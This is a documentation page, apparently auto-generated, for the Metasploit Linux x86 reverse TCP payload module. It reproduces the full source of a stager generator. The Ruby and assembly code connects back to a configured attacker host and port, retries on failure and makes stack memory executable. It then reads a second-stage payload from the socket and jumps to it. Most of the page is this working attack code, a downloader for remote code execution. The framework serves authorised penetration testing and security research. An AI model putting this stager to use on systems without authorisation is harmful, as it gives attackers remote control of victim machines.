Module: Msf::Payload::Linux::ReverseTcp_x86

Includes:
Msf::Payload::Linux, SendUUID, TransportConfig
Defined in:
lib/msf/core/payload/linux/reverse_tcp.rb

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from SendUUID

#asm_send_uuid

Methods included from Msf::Payload::Linux

#apply_prepends, #initialize

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_reverse_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Integer)

    The port to connect to

  • :host (String)

    The host IP to connect to


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# File 'lib/msf/core/payload/linux/reverse_tcp.rb', line 83

def asm_reverse_tcp(opts={})
  # TODO: reliability is coming
  retry_count  = opts[:retry_count]
  encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first
  encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
  seconds = (opts[:sleep_seconds] || 5.0)
  sleep_seconds = seconds.to_i
  sleep_nanoseconds = (seconds % 1 * 1000000000).to_i

  mprotect_flags = 0b111 # PROT_READ | PROT_WRITE | PROT_EXEC

  if respond_to?(:generate_intermediate_stage)
    pay_mod = framework.payloads.create(self.refname)
    read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
  elsif !module_info['Stage']['Payload'].empty?
    read_length = module_info['Stage']['Payload'].size
  else
    # If we don't know, at least use small instructions
    read_length = 0x0c00 + mprotect_flags
  end

  # I was bored on the train, ok?
  read_reg =
    if read_length % 0x100 == mprotect_flags && read_length <= 0xff00 + mprotect_flags
      # We use `edx` as part mprotect, but at two bytes assembled, this edge case is worth checking:
      # If the lower byte will be the same, just set the upper byte
      read_length = read_length / 0x100
      'dh'
    elsif read_length < 0x100
      'dl' # Also assembles in two bytes ^.^
    elsif read_length < 0x10000
      'dx' # Shave a byte off of setting `edx`
    else
      'edx' # Take five bytes :/
    end

  asm = %Q^
      push #{retry_count}        ; retry counter
      pop esi
    create_socket:
      xor ebx, ebx
      mul ebx
      push ebx
      inc ebx
      push ebx
      push 0x2
      mov al, 0x66
      mov ecx, esp
      int 0x80                   ; sys_socketcall (socket())
      xchg eax, edi              ; store the socket in edi

    set_address:
      pop ebx                    ; set ebx back to zero
      push #{encoded_host}
      push #{encoded_port}
      mov ecx, esp

    try_connect:
      push 0x66
      pop eax
      push eax
      push ecx
      push edi
      mov ecx, esp
      inc ebx
      int 0x80                   ; sys_socketcall (connect())
      test eax, eax
      jns mprotect

    handle_failure:
      dec esi
      jz failed
      push 0xa2
      pop eax
      push 0x#{sleep_nanoseconds.to_s(16)}
      push 0x#{sleep_seconds.to_s(16)}
      mov ebx, esp
      xor ecx, ecx
      int 0x80                   ; sys_nanosleep
      test eax, eax
      jns create_socket
      jmp failed
  ^

  asm << asm_send_uuid if include_send_uuid

  asm << %Q^
    mprotect:
      mov dl, 0x#{mprotect_flags.to_s(16)}
      mov ecx, 0x1000
      mov ebx, esp
      shr ebx, 0xc
      shl ebx, 0xc
      mov al, 0x7d
      int 0x80                  ; sys_mprotect
      test eax, eax
      js failed

    recv:
      pop ebx
      mov ecx, esp
      cdq
      mov #{read_reg},  0x#{read_length.to_s(16)}
      mov al, 0x3
      int 0x80                  ; sys_read (recv())
      test eax, eax
      js failed
      jmp ecx

    failed:
      mov eax, 0x1
      mov ebx, 0x1              ; set exit status to 1
      int 0x80                  ; sys_exit
  ^

  asm
end

#generateObject

Generate the first stage


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# File 'lib/msf/core/payload/linux/reverse_tcp.rb', line 26

def generate
  conf = {
    port:          datastore['LPORT'],
    host:          datastore['LHOST'],
    retry_count:   datastore['StagerRetryCount'],
    sleep_seconds: datastore['StagerRetryWait'],
  }

  # Generate the advanced stager if we have space
  if self.available_space && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
  end

  generate_reverse_tcp(conf)
end

#generate_reverse_tcp(opts = {}) ⇒ Object

Generate and compile the stager


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# File 'lib/msf/core/payload/linux/reverse_tcp.rb', line 57

def generate_reverse_tcp(opts={})
  asm = asm_reverse_tcp(opts)
  buf = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
  apply_prepends(buf)
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


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# File 'lib/msf/core/payload/linux/reverse_tcp.rb', line 46

def include_send_uuid
  false
end

#required_spaceObject

Determine the maximum amount of space required for the features requested


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# File 'lib/msf/core/payload/linux/reverse_tcp.rb', line 66

def required_space
  # Start with our cached default generated size
  space = 300

  # Reliability adds 10 bytes for recv error checks
  space += 10

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object


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# File 'lib/msf/core/payload/linux/reverse_tcp.rb', line 50

def transport_config(opts={})
  transport_config_reverse_tcp(opts)
end